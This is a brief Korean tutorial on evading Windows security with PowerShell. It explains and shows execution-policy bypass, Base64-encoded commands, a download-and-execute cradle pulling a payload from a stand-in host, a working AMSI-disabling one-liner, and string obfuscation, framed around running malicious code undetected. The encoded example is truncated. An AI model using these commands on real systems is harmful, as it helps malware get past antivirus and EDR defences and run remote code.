1. 보안 우회란?
- 보안 우회(Security Evasion): 안티바이러스(AV), EDR(Endpoint Detection & Response), 방화벽, 실행 정책 등 보안 솔루션의 탐지·차단 기능을 피하는 기술
- 목적: 악성 코드 실행, 권한 상승, 지속성 유지 등을 탐지되지 않고 수행
- PowerShell은 Windows 기본 내장 도구라서 화이트리스트 우회(Trusted Application Abuse)에 자주 활용됨
2. PowerShell 보안 우회 주요 기법
법 |
설명 |
예시 |
실행 정책 우회 |
ExecutionPolicy 제한을 무시하고 스크립트 실행 |
powershell.exe -ExecutionPolicy Bypass |
명령 인코딩 |
Base64로 명령을 인코딩해 실행 |
powershell.exe -EncodedCommand <Base64> |
다운로드 후 실행(LOLBAS) |
원격 스크립트를 다운로드해 메모리에서 실행 |
IEX (New-Object Net.WebClient).DownloadString('http://...') |
AMSI 우회 |
AMSI(Antimalware Scan Interface) 메모리 패치 |
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
스크립트 난독화 |
변수명 변경, 문자열 분리·합치기 등 시그니처 우회 |
"Wr" + "ite-Output 'Hello'" |
3. PowerShell 보안 우회 예시
3-1. 실행 정책 우회
# 정책 변경 없이 스크립트 실행
powershell.exe -ExecutionPolicy Bypass -File script.ps1
3-2. 인코딩된 명령 실행
# "Write-Output '유준상 테스트'" 를 Base64로 인코딩 후 실행
powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABbACcAVQBqAHUAbgBzAGEAbmcAIAB0AGUA...
3-3. 다운로드 후 실행
IEX (New-Object Net.WebClient).DownloadString('<http://example.com/payload.ps1>')
3-4. AMSI 우회
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)